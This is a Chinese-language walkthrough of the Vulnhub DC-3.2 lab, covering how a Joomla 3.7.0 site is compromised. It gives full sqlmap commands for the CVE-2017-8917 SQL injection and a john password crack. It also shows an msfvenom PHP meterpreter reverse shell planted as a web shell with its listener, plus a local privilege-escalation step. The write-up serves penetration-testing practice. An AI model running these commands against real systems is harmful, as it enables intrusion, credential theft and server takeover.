Vulnhub靶场----3、DC-3.2
文章目录
- 一、环境搭建
- 二、渗透流程
- 三、思路总结
一、环境搭建
靶场下载地址:https://download.vulnhub.com/dc/DC-3-2.zip
kali:192.168.144.148
DC-3.2:192.168.144.151
更改驱动器连接设置:
二、渗透流程
nmap -T5 -sV -sT -p- -A 192.168.144.151

1.访问192.168.144.151

2.web指纹扫描如下
网站使用joomla CMS,使用
joomscan工具
扫描
joomscan --url 192.168.144.151
点击了解👉joomscan扫描工具使用详解


3.漏洞获取
可用信息:
获取到joomla版本3.7.0
>寻找相关版本漏洞:searchsploit joomla 3.7.0 -w
搜索结果显示两个漏洞:
CVE-2015-8562 反序列化漏洞:https://www.exploit-db.com/exploits/43488
CVE-2017-8917 SQL注入漏洞:https://www.exploit-db.com/exploits/42033

CVE-2015-8562 反序列化漏洞
CVE-2017-8917 SQL注入漏洞
exploits-db数据库记录了详细的利用过程,如下:

1.获取数据库
sqlmap -u "http://192.168.144.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

2.joomladb数据库的表
sqlmap -u "http://192.168.144.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables

3.“#__users” 表的字段
sqlmap -u "http://192.168.144.151/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password --dump

4.密码解密
password采用bcrypt加密
👉bcrypt加密算法详解
使用john破解密码:snoopy
vi创建dc-3.2,将密码保存到dc-3.2
john爆破密码john dc-3.2 --show
密码为:snoopy

5.进入后台
admin:snoopy
登陆后台地址:http://192.168.144.151/administrator



1.生成反弹shell
将shell内容复制到刚创建的dc.php文件中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.148 LPORT=4444 > dc.php


2.kali开启监听:
use exploit/multi/handler
set payload /php/meterpreter/reverse_tcp
set LHOST 192.168.144.148
set LPORT 4444
run
3.访问webshell地址
http://192.168.144.151/templates/protostar/dc.php
4.获取临时shell
shell #获取临时shell
python -c 'import pty;pty.spawn("/bin/bash")' #交互式shell

1.获取服务器版本
uname -a
lsb_release -a

2.ubuntu 16.04 相关漏洞
searchsploit ubuntu 16.04

3.下载提权exp
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

4.通过蚁剑将exploit.tar
上传至脚本所在目录
5.解压exploit.tar
6.获取root权限
三、思路总结
1、只开放80端口的情况下,网站指纹、目录扫描等方向
2、通过网站CMS版本信息搜索相关版本漏洞
3、利用版本SQL注入漏洞获取后台登录账号密码
4、后台寻找webshell插入地址
5、获取shell,寻找服务器版本漏洞
6、利用服务器版本漏洞提权
参考链接:https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC3